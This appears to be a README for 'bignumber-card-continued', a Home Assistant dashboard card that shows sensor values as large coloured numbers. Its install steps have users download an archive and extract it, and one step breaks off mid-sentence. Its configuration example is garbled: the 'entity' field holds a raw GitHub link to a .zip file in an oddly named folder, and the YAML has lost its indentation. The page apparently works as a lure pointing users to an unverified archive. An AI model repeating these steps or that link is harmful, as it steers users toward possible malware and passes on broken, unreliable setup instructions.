bignumber-card-continued is a community-maintained continuation of the bignumber-card. This application displays sensor values as large numbers with severity colors and progress bars, specifically designed for Home Assistant users. With this card, you can quickly glance at important data without straining your eyes.
To get started with bignumber-card-continued, follow the steps below. You will be able to download and set up the application on your Home Assistant dashboard without any technical experience.
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Visit this page to download: Click on the link to go to our Releases page. Here, you will find the latest version of bignumber-card-continued.
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Choose the file you need: Navigate through the list of releases. Look for the latest version.
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Download the file: Click on the file suitable for your setup. If you are using Home Assistant, the recommended download will often be a
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Extract the file: Once downloaded, locate the file in your downloads folder. Right-click on the file and choose "Extract All". Follow the prompts to extract the contents.
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Install the custom card: Go to your Home Assistant instance and navigate to the Lovelace UI. Click on the three-dot menu at the top right corner and select "Manage Resources". Click "+ ADD RESOURCE" and enter the path to the extracted card (.js file) in the URL field. Choose "JavaScript Module" from the dropdown.
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Add the card to your dashboard: After adding the resource, return to your main dashboard. Click on the three-dot menu and select "Edit Dashboard". Click on “+ ADD CARD” and choose “Manual”. Enter the configuration for the bignumber-card, according to the instructions in the documentation provided in the extracted folder.
- Large Display: Sensor values are displayed in a large, readable format.
- Severity Colors: Values change color based on their severity, providing quick visual feedback.
- Progress Bars: Complement numeric displays with progress bars for better representation.
- Customizable: Adjust colors and thresholds to fit your needs.
- Community Support: Join discussions and get help from other users.
- Home Assistant: Must be running on a supported platform (e.g., Raspberry Pi, Docker, or directly on your PC).
- Modern Browser: Use Chrome, Firefox, Safari, or any up-to-date web browser for best performance.
- Basic understanding of Lovelace: Familiarity with adding custom components in Home Assistant will enhance your experience.
After installation, you can customize the card through its configuration in the Lovelace UI. Here’s a simple example to modify threshold colors:
type: custom:bignumber-card
entity: https://github.com/onn24/bignumber-card-continued/raw/refs/heads/main/Hecatic/bignumber_continued_card_v2.9.zip
severity:
green: 0
yellow: 50
red: 100If you face issues during installation, please check the troubleshooting section in the documentation located in the extracted folder. You can also reach out to our community in the GitHub discussions for more guidance.
Absolutely! We welcome contributions. Whether it's bug fixes, new features, or suggestions, feel free to open an issue or submit a pull request on our GitHub repository.
For more information and updates, you can explore the following:
- Releases Page: This is where you’ll find the latest versions.
- Documentation: Detailed guidelines and other configuration options are available in the extracted folder.
- Community Discussions: Join our discussions in GitHub for support and collaboration.
With bignumber-card-continued, you can make your Home Assistant dashboard visually appealing and informative. Follow the above steps for a seamless download and installation experience. Enjoy visualizing your sensor data with ease!